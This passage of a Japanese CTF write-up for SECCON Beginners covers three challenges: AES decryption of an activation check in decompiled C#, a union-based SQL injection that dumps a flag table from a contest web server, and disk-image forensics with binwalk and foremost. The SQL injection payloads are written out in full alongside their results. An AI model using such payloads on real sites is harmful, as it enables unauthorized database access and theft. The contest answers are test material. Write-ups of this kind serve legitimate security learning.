        {
            this.a = A_1;
        }

        // Token: 0x0600000C RID: 12 RVA: 0x000020C2 File Offset: 0x000002C2
        public a(string A_1, string A_2, byte[] A_3, byte[] A_4)
        {
            this.A(A_1);
            this.a(A_2);
            this.A(A_3);
            this.a(A_4);
        }

        // Token: 0x0600000D RID: 13 RVA: 0x000020E8 File Offset: 0x000002E8
        public string C()
        {
            AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
            aesCryptoServiceProvider.BlockSize = 128;
            aesCryptoServiceProvider.KeySize = 256;
            aesCryptoServiceProvider.IV = this.b();
            aesCryptoServiceProvider.Key = this.B();
            aesCryptoServiceProvider.Mode = CipherMode.ECB;
            aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
            byte[] bytes = Encoding.ASCII.GetBytes(this.A());
            byte[] inArray = aesCryptoServiceProvider.CreateEncryptor().TransformFinalBlock(bytes, 0, bytes.Length);
            this.a(Convert.ToBase64String(inArray));
            return this.a();
        }

        // Token: 0x04000001 RID: 1
        [CompilerGenerated]
        private string A;

        // Token: 0x04000002 RID: 2
        [CompilerGenerated]
        private string a;

        // Token: 0x04000003 RID: 3
        [CompilerGenerated]
        private byte[] A;

        // Token: 0x04000004 RID: 4
        [CompilerGenerated]
        private byte[] a;
    }
}

この処理の中でFlagに関わりそうな処理はこれっぽい。

// Token: 0x0600000D RID: 13 RVA: 0x000020E8 File Offset: 0x000002E8
public string C()
{
    AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
    aesCryptoServiceProvider.BlockSize = 128;
    aesCryptoServiceProvider.KeySize = 256;
    aesCryptoServiceProvider.IV = this.b(); // CTF4B7E1CTF4B7E1
    aesCryptoServiceProvider.Key = this.B(); // SECCON_BEGINNERS
    aesCryptoServiceProvider.Mode = CipherMode.ECB;
    aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
    byte[] bytes = Encoding.ASCII.GetBytes(this.A()); // 入力された値
    byte[] inArray = aesCryptoServiceProvider.CreateEncryptor().TransformFinalBlock(bytes, 0, bytes.Length);
    this.a(Convert.ToBase64String(inArray));
    return this.a();
}

入力された文字列を暗号化した結果が期待した値になっているか?という処理になっているので、期待値を復号化すれば何を入力するとアクティベーションが通るのかがわかる。 さっそく復号化を試みてみる。

import base64
from Crypto.Cipher import AES

BS = 16
unpad = lambda s : s[0:-ord(s[-1])]

cripted = base64.b64decode('E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5')
key = 'SECCON_BEGINNERS'
iv = 'CTF4B7E1CTF4B7E1'
cipher = AES.new(key, AES.MODE_ECB, iv)
print unpad(cipher.decrypt(cripted))

複合化した結果、アクティベーションコードは以下となった。

ae03c6f3f9c13e6ee678a92fc2e2dcc5

Flagはctf4b{アクティベーションコード}なので、以下がFlagになる。

ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5} 

Web

SECCON Goods

SQLインジェクションを利用してFlagを取得する問題。

SECCON ショップへようこそ!在庫情報はこちらをご覧ください。

http://goods.chall.beginners.seccon.jp

問題に出てくるWebサイトに飛んで見ると、入力フォームなどがなく、ただ在庫一覧が表示されているだけ。 リンクもない。どこかにヒントがあるはずと思い、Chromeの開発者ツールでやりとりしているファイルを調べてみた。 通信の中で/items.php?minstock=0というXHRがあったので、内容をみて見ると、JSONが返って来ていた。

{id: "1", name: "Tシャツ", description: "S サイズ", price: "2000", stock: "8"}
{id: "2", name: "Tシャツ", description: "M サイズ", price: "2000", stock: "3"}
{id: "3", name: "Tシャツ", description: "L サイズ", price: "2000", stock: "7"}
{id: "4", name: "Tシャツ", description: "XL サイズ", price: "2000", stock: "4"}
{id: "5", name: "パーカー", description: "S サイズ", price: "5000", stock: "7"}
{id: "6", name: "パーカー", description: "M サイズ", price: "5000", stock: "5"}
{id: "7", name: "パーカー", description: "L サイズ", price: "5000", stock: "3"}
{id: "8", name: "パーカー", description: "XL サイズ", price: "5000", stock: "2"}

minstockというパラメータを色々と変更してみると、与えられたパラメータ以上のstockがある商品が返って来ていた。 雰囲気からSQLインジェクションがあるんだなというところまではわかった。

が、大会期間中にminstock=0 or 1=1とかやっても戻ってくる結果は何もなく、不正なパラメータを作れなかったため当日はギブアップした。 今やると普通に返ってくるので、何か間違ってたのだろう。。。 とりあえず、SQLインジェクションらへんの知識が少なかったので、他の人のを参考にやってみた。 ざっとみた感じ、投げてるSQLのカラムが何個あるのかを、order byで確認しており、その結果に対してunionで引き出したい結果をくっつけていた。 なるほど。そういう風にやるやり方があるのかと大変勉強になった。

/items.php?minstock=0 order by 5

5個目のカラムであろう、stockが並び替えされる。

/items.php?minstock=0 order by 6

何も返ってこない。6カラム目は存在しないらしい。 次に、存在するテーブルの一覧を出して見る。この時に、カラムのサイズは5個に合わせる。

/items.php?minstock=10 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--
{"id":"INNODB_BUFFER_PAGE","name":"2","description":"3","price":"4","stock":"5"},
{"id":"INNODB_CMPMEM","name":"2","description":"3","price":"4","stock":"5"},
{"id":"INNODB_FT_INDEX_TABLE","name":"2","description":"3","price":"4","stock":"5"},
{"id":"INNODB_FT_BEING_DELETED","name":"2","description":"3","price":"4","stock":"5"},
{"id":"INNODB_SYS_TABLESPACES","name":"2","description":"3","price":"4","stock":"5"},
{"id":"INNODB_FT_INDEX_CACHE","name":"2","description":"3","price":"4","stock":"5"},
{"id":"INNODB_SYS_FOREIGN_COLS","name":"2","description":"3","price":"4","stock":"5"},
{"id":"INNODB_SYS_TABLES","name":"2","description":"3","price":"4","stock":"5"},
{"id":"INNODB_BUFFER_POOL_STATS","name":"2","description":"3","price":"4","stock":"5"},
{"id":"INNODB_FT_CONFIG","name":"2","description":"3","price":"4","stock":"5"},
{"id":"flag","name":"2","description":"3","price":"4","stock":"5"},
{"id":"items","name":"2","description":"3","price":"4","stock":"5"}

flagというテーブルが存在している。すごく怪しい。 このテーブルの情報を表示させて見る。

/items.php?minstock=10 union SELECT COLUMN_NAME, 2,  3, 4, 5 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'flag'--
{"id":"flag","name":"2","description":"3","price":4,"stock":"5"}

flagというカラムが一つあるので、それをselectして見る。

/items.php?minstock=10 union SELECT flag,2,3,4,5 FROM flag--
{"id":"ctf4b{cl4551c4l_5ql_1nj3c710n}","name":"2","description":"3","price":"4","stock":"5"}

無事Flagが取得できた

ctf4b{cl4551c4l_5ql_1nj3c710n}

Misc

Find the messages

問題文に書いてあるとおり、ディスクイメージを解析してFlagを探す問題。

ディスクイメージに隠されているメッセージファイルを探せ!

Kalilinuxにて、少しだけ使ったことのあるAutopsyを使って解読を試みた。が、最後のpdfファイルが削除された状態になっておりピースが揃わない。 そこで、Writeupを参考にして、binwalkforemostを使ってみることにした。

binwalkを使って、img内に含まれているファイルをエクスポートしてみる。

root@bad:~/Downloads/disk.img# binwalk -e disk.img 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
17829888      0x1101000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

コマンドを実行すると_disk.img.extractedディレクトリが作成され、抽出されたファイルが入っている。 まず、message1のtextは_disk.img.extracted/ext-root/message1ディレクトリに抽出される。 中身を見るとBase64エンコードされているため、デコードしてみると、Flagの断片が入手できる。

root@bad:~/Downloads/disk.img# echo Y3RmNGJ7eTB1X3QwdWNoZWQ= | base64 -d
ctf4b{y0u_t0uched

次に_disk.img.extracted/ext-root/message2ディレクトリに抽出されたpngファイルを開いてみる。 壊れたファイル扱いされ、画像が正常に表示されない。そこでhexeditorを使ってバイナリを確認してみる。

root@bad:~/Downloads/disk.img# hexeditor message_2_of_3.png

中身を見ると、先頭8byteが丁寧にXXとなっているためpngのファイルシグネチャを調べてここを書き換える。

File: message_2_of_3.png                                                                       ASCII Offset: 0x00000008 / 0x00E9FB1E (%00)  M
00000000  89 50 4E 47  0D 0A 1A 0A   00 00 00 0D  49 48 44 52                                  .PNG........IHDR
00000010  00 00 13 8B  00 00 08 BF   08 02 00 00  00 45 6B 54                                    .............EkT
00000020  BE 00 00 00  01 73 52 47   42 00 AE CE  1C E9 00 00                                   .....sRGB.......
00000030  00 09 70 48  59 73 00 00   0B 13 00 00  0B 13 01 00                                    ..pHYs..........
00000040  9A 9C 18 00  00 0B 75 69   54 58 74 58  4D 4C 3A 63                                 ......uiTXtXML:c
00000050  6F 6D 2E 61  64 6F 62 65   2E 78 6D 70  00 00 00 00                                   om.adobe.xmp....

再度画像を表示させると、鮫の画像とともにFlagの断片が表示される

_a_part_0f_

最後に、autopsyで確認した時に取得できなかったpdfファイルを探してみる。 binwalkで出力されたextファイルを先頭から調べてみる。

root@bad:~/Downloads/disk.img/_disk.img.extracted# ls -al
合計 239624
drwxr-xr-x 3 root root     4096  6月  5 23:11 .
drwxr-xr-x 3 root root     4096  6月  5 23:11 ..
-rw-r--r-- 1 root root 66060288  6月  5 23:11 100000.ext
-rw-r--r-- 1 root root 49278976  6月  5 23:11 1101000.ext
-rw-r--r-- 1 root root 40894464  6月  5 23:11 1900000.ext
-rw-r--r-- 1 root root 24117248  6月  5 23:11 2900000.ext
-rw-r--r-- 1 root root  7340032  6月  5 23:11 3900000.ext
-rw-r--r-- 1 root root 57671680  6月  5 23:11 900000.ext
drwxr-xr-x 4 root root     4096  6月  5 23:11 ext-root
root@bad:~/Downloads/disk.img/_disk.img.extracted# foremost 100000.ext 
Processing: 100000.ext
|*|

すると、一番上のextファイルからpdfが見つかり、_disk.img.extracted/output/pdfディレクトリにファイルが作成される。 pdfを開くとFlagの断片が表示される。

disk_image_for3nsics}

断片を全てくっつけると、Flagとなる。

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}